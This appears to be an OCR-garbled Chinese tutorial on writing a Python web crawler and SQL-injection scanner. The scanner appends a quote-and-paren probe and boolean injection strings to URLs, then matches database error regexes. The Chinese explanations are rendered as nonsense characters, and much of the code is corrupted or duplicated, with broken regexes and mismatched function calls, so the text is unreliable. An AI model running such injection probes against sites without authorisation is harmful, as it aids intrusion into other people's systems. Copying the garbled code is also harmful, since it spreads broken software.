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DBMS_ERRORS = { # regular expressions used for DBMS r
ecognition based on error message response
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*xmysql_.x*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r'"PostgreSQL.*ERROR", r"Warning.x\Wpg_.x*", r'valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (r"Driver.x SQL[\-\_\ IxServer", r"OLE DB.x SQL Server", r"(\W|\A)SQL Server.xDrive
r", r'"Warning.xmssql_.x", r"(\W|\A)SQL Server.x[0-9a-fA-F1{8}", r"(?s)Exception.*x\WSystem\.Data\.SqlClient\.",
r''(?s)Exception.*x\WRoadhouse\.Cms\."),
"Microsoft Access": (r''Microsoft Access Driver", r"JET Database Engine", r'"Access Database Engine"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.x\Woci_.x", r"Warni
ng.x\Wora_.x"),
"IBM DB2": (r"CLI Driver.x*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r'"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sql
ite_.x", r"Warning.xSQLite3::", r"\[SQLITE_ERROR\]1"),
"Sybase": (r"(?i)Warning.xsybase.x", r"Sybase message", r'"Sybase.xServer message.x"),

}

BEEN, MRELZIRNBENER, FHATHETHEBBEET -

for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS [dbms]):

if(re.search(regex,_content)):
return True

XA ZEANKNIRIE F[payload].
BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
AREERAEEERPASTIEROATHTIEE.

for test_payload in BOOLEAN_TESTS:

#IE B M BT

RANDINT = random.randint(1, 255)

_url = url + test_payload%(RANDINT,RANDINT)

content["true"] = downloader.request(_url)

_url = url + test_payload%s(RANDINT,RANDINT+1)

content["false"] = downloader.request(_url)

if content["origin"l==content["true"]!=content["false"]:
return "sql fonud: %"surl

—4:

&

content["origin"]==content["true"]!=content["false"]
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#-x— coding:utf-8 —k-—
import requests,re, random

BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
DBMS_ERRORS = { # regular expressions used for DBMS r
ecognition based on error message response
"MySQL": (r"SQL syntax.*MySQL", r"Warning.xmysql_.x*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r"PostgreSQL.xERROR", r"Warning.x\Wpg_.x*", r'valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (r"Driver.x SQL[\-\_\ I%Server", r"OLE DB.x SQL Server", r"(\W|\A)SQL Server.xDrive
r", r'"Warning.xmssql_.x", r"(\W|\A)SQL Server.x[0-9a-fA-F1{8}", r"(?s)Exception.*x\WSystem\.Data\.SqlClient\.",
r'(?s)Exception.x\WRoadhouse\.Cms\."),
"Microsoft Access": (r''Microsoft Access Driver", r"JET Database Engine", r'"Access Database Engine"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.x\Woci_.x", r"Warni
ng.x\Wora_.x"),
"IBM DB2": (r"CLI Driver.xDB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r'SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.xsql
ite_.x", r"Warning.xSQLite3::", r"\[SQLITE_ERROR\]1"),
"Sybase": (r"(?i)Warning.xsybase.x", r"Sybase message", r'"Sybase.xServer message.x"),
}

def sqlcheck(url):
if(not url.find("?")):
return False
_url = url + "%29%28%22%27" #5EM) ("' FikeE
_content = request.get(_url).text
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS [dbms]):
if(re.search(regex,_content)):
return True
content = {}
content["origin"] = request.get(_url).text
for test_payload in BOOLEAN_TESTS:
#IERR R TT
RANDINT = random.randint(1, 255)
_url = url + test_payload%(RANDINT,RANDINT)

content["true"] = downloader.request(_url)
_url = url + test_payload%(RANDINT,RANDINT+1)
content["false"] = downloader.request(_url)

if content["origin"]==content["true"]!=content["false"]:
return "sql fonud: %"surl

FAME /script BRPEIEZXNXMH, &8BA sqlcheck.py o

ERETA B MBIE A — MES B MAHTAR, ESURSTEHARSRETRENG RS BHRERXERER,

BLurBbI REMNAFZNIRE, tbhtmIERAMENE, FATATLUT BRI, XEHERE find("?") &KX ? KFABurSEFERANBIRE.
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XHRTFAE 1ib/core/UrManager.py o
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#!/usr/bin/env python
#—*- coding:utf-8 —x-—

class UrlManager(object):
def __init_ (self):

self.new_urls = set()

self.old_urls = set()

def add_new_url(self, url):
if url is None:
return
if url not in self.new_urls and url not in self.old_urls:
self.new_urls.add(url)

def add_new_urls(self, urls):
if urls is None or len(urls) == 0:
return
for url in urls:
self.add_new_url(url)

def has_new_url(self):
return len(self.new_urls) !'= @

def get_new_url(self):
new_url = self.new_urls.pop()
self.old_urls.add(new_url)
return new_url

RBATAE, HNEATLUETERINGERMAIEAD—DHRER, XHRELE 1ib/core/Downloader. py &8 E—Tget/postFiLERIH .

#!/usr/bin/env python
#—*— coding:utf-8 —x-—

import requests

class Downloader(object):
def get(self,url):
r = requests.get(url,timeout=10)
if r.status_code !'= 200:
return None
_str = r.text
return _str

def post(self,url,data):
r = requests.post(url,data)
_str = r.text
return _str

def download(self, url,htmls):
if url is None:
return None

_str = {}
_str["url"] = url
try:

r = requests.get(url, timeout=10)
if r.status_code !'= 200:
return None
_str["html"] = r.text
except Exception as e:
return None
htmls.append(_str)

HAFEAT, BARNRRSESKEN, FRUEHPES download FiEREASEKETHAM.
7 lib/core/Spider.py tliEEH.
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#!/usr/bin/env python
#—*- coding:utf-8 —x-—

from lib.core import Downloader,UrlManager
import threading

from urlparse import urljoin

from bs4 import BeautifulSoup

class SpiderMain(object):
def __init_ (self,root,threadNum):
self.urls = UrlManager.UrlManager()
self.download = Downloader.Downloader()
self.root = root
self.threadNum = threadNum

def _judge(self, domain, url):
if (url.find(domain) != -1):
return True
else:
return False

def _parse(self,page_url,content):
if content is None:
return
soup = BeautifulSoup(content, 'html.parser"')
_news = self._get_new_urls(page_url,soup)
return _news

def _get_new_urls(self, page_url,soup):

new_urls = set()

links = soup.find_all('a")

for link in links:
new_url = link.get('href"')
new_full_url = urljoin(page_url, new_url)
if(self._judge(self.root,new_full_url)):

new_urls.add(new_full_url)
return new_urls

def craw(self):
self.urls.add_new_url(self.root)
while self.urls.has_new_url():
_content = []
th = []
for i in list(range(self.threadNum)):
if self.urls.has_new_url() is False:
break
new_url = self.urls.get_new_url()

## sql check

print("craw:" + new_url)
t = threading.Thread(target=self.download.download,args=(new_url,_content))
t.start()
th.append(t)
for t in th:
t.join()
for _str in _content:
if _str is None:
continue
new_urls = self._parse(new_url,_str["html"])
self.urls.add_new_urls(new_urls)

Mes@EiTiEA craw() AEEA—IMIULHITIET, RAERASKENAETHSFRITHMLE, THEAEA _parse A% A BeautifulSoup #1THE
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7£ lib/core/Spider.py X35 F—T from script import sqlcheck
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##sql check
try:
if(sqlcheck.sqlcheck(new_url)):
print("url:%s sqlcheck is valueable'"%snew_url)
except:
pass

B try NARHANEE, KIE, EXH wsay.py P, HITATIAHETMIKT .

#!/usr/bin/env python

#—*x— coding:utf-8 —%—
Name:w8ayScan

Author:w8ay

Copyright (c) 2017

import sys

from lib.core.Spider import SpiderMain

def main():
root = "https://www.shiyanlou.com/"
threadNum = 10

#spider
w8 = SpiderMain(root,threadNum)
w8.craw()
if __name__ == '__main__"':
main()

REEN—&F! ATHER 1ib 1 script XHEFRFH .py XHTAHIAMERIELR, 5&E 1ib lib/core 1 script XHRHFEE __init__.py XH (ini
t BIRRAT _ TXE)  XHEPTABTIETEM.
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